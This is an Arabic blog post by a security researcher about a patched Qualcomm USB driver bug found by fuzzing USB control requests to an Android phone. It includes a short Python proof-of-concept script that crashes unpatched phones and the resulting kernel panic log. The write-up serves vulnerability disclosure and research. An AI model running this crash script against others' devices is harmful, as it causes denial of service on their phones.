
تخريب أجهزة USB (Fuzzing) على هاتف أندرويد
تتحدث هذه التدوينة عن خطأ بسيط وجدته في جهاز أندرويد الخاص بي (MI A2 - يعمل بنظام أندرويد الأصلي) باستخدام التحليل العشوائي لجهاز USB، وقد وُسم من قبل جوجل بدرجة خطورة عالية. كان الخطأ في مشغّل USB لشركة كوالكوم، والذي تم إصلاحه لاحقاً والكشف عنه في نشرة أندرويد الصادرة في مارس 2020. وبخصوص الثغرة، فعند إرسال طلبات USB مصممة خصيصاً إلى هاتف أندرويد، يؤدي ذلك إلى انهيار نواة أندرويد وإعادة تشغيل الهاتف.
كان هذا الخطأ ناتجاً عن متغير غير مبدوء (uninitialized variable) مستخدم في أداة USB "core.c". يمكن العثور على تفاصيل الثغرة في التنبيه الأمني لكوالكوم أدناه ونشرة أندرويد لشهر مارس 2020.
https://www.qualcomm.com/company/product-security/bulletins/march-2020-bulletin
تدعم هواتف أندرويد كلاً من وضعي الجهاز والمضيف، ففي وضع الجهاز يمكنك توصيل هاتفك بجهاز كمبيوتر باستخدام كابل USB ومشاركة الصور والموسيقى من هاتفك إلى الحاسوب عبر أوضاع اتصال USB المختلفة (مثل الشحن فقط و MTP). في وضع المضيف يمكنك توصيل سماعة رأس أو ذاكرة فلاش باستخدام كابل OTG حيث تعمل أجهزتك كعميل ويعمل هاتف أندرويد كمضيف.
تم اكتشاف الثغرة بمجرد جعل معاملات تحكم USB عشوائية مثل bmRequestType و bRequest و wValue(bDescriptortype:DescriptorIndex) و wIndex و wLength وإرسالها إلى جهاز أندرويد. من خلال إرسال سلسلة من طلبات التحكم من مضيف Linux إلى أندرويد (كما يظهر في السكربت أدناه)، يقوم مشغّل جهاز USB في الهاتف بتحليلها مما يسبب هلع النواة (kernel panic).
يمكنك مشاهدة هذا الفيديو أدناه لفهم نظرة عامة حول USB والتحليل العشوائي المقدم من Andrey Konovalov في Offensive-con 2019 وأيضاً أساسيات بروتوكول USB: USB 101: An Introduction to Universal Serial Bus 2.0.
https://www.youtube.com/watch?v=1MD5JV6LfxA
الشرائح المتأثرة: APQ8009, APQ8053, MDM9607, MDM9640, MSM8909W, MSM8953, QCA6574AU, QCS605, SDA845, SDM429, SDM429W, SDM439, SDM450, SDM632, SDM670, SDM710, SDM845, SDX24, SM8150, SXR1130
خطوات إعادة إنتاج هذه الثغرة إذا لم تقم بتحديث هاتفك بتصحيح أندرويد لشهر مارس 2020.
#!/usr/bin/env python3
import usb.core
dev = usb.core.find(idVendor=0x2717, idProduct=0xff40)
send = dev.ctrl_transfer(0x80,0,0x0000,0x00,0000)
send = dev.ctrl_transfer(0x81,0,0x0000,0x00,0000)
send = dev.ctrl_transfer(0x82,0,0x0000,0x00,0000)
print("Received: " + str(send))
[ 314.639049] Kernel BUG at ffffff95d9f3ca20 [verbose debug info unavailable]
[ 314.639054] Internal error: Oops - BUG: 96000044 [#1] PREEMPT SMP
[ 314.639060] Modules linked in: wlan(O)
[ 314.639074] CPU: 2 PID: 115 Comm: kworker/u17:1 Tainted: G O 4.4.153-perf+ #1
[ 314.639080] Hardware name: Qualcomm Technologies, Inc. SDM 660 PM660 + PM660L MTP (DT)
[ 314.639100] Workqueue: dwc_wq dwc3_bh_work
[ 314.639107] task: ffffffc1f7470e00 task.stack: ffffffc1f747c000
[ 314.639114] PC is at dwc3_gadget_giveback+0x84/0x1ec
[ 314.639121] LR is at dwc3_ep0_stall_and_restart+0x64/0x84
[ 314.639126] pc : [<ffffff95d9f3ca20>] lr : [<ffffff95d9f41ae8>] pstate: 804001c5
[ 314.639129] sp : ffffffc1f747fbd0
[ 314.639133] x29: ffffffc1f747fbd0 x28: ffffffc174099020
[ 314.639141] x27: ffffff95db082010 x26: 000000000000c040
[ 314.639148] x25: ffffffc174099020 x24: ffffff95db806000
[ 314.639156] x23: 0000000000000000 x22: ffffffc1f613da00
[ 314.639164] x21: ffffffc174099020 x20: ffffffc1f613da00
[ 314.639172] x19: ffffffc174099070 x18: 0000000000000010
[ 314.639179] x17: 0000007b609c9578 x16: ffffff95da4be634
[ 314.639186] x15: aaaaaaaaaaaaaaab x14: 0fffffffffffffff
[ 314.639193] x13: 0000000000000008 x12: 0101010101010101
[ 314.639200] x11: 7f7f7f7f7f7f7fff x10: 3952455531fffffe
[ 314.639208] x9 : ffffffffffffffff x8 : 0000000000808000
[ 314.639215] x7 : 0080800000000000 x6 : ffffff95dbbf8852
[ 314.639222] x5 : 3a534656330100ff x4 : 0000000000000001
[ 314.639230] x3 : 000000000000000a x2 : 00000000ffffff98
[ 314.639237] x1 : dead000000000100 x0 : dead000000000200
علاوة على ذلك، لا تفسّر سجلات الانهيار السبب الكامن خلف التعطل. لذلك أخطط لإضافة KASAN إلى البناء في هاتف Pixel الجديد الخاص بي وتحسين التحليل العشوائي للأجهزة بتقنيات تنقيب مناسبة مثل مراقبة السجلات بحثاً عن الأعطال أثناء التحليل العشوائي. كما أن libusb لا تسمح بإصدار طلبات تحكم كبيرة وغالباً ما يتم اقتطاعها في أغلب الأحيان. لذا أخطط لتجربة مثال kate temkin (fusee_gelee) لاستخدام ioctl لإرسال الأوامر مباشرة إلى مشغّل USB.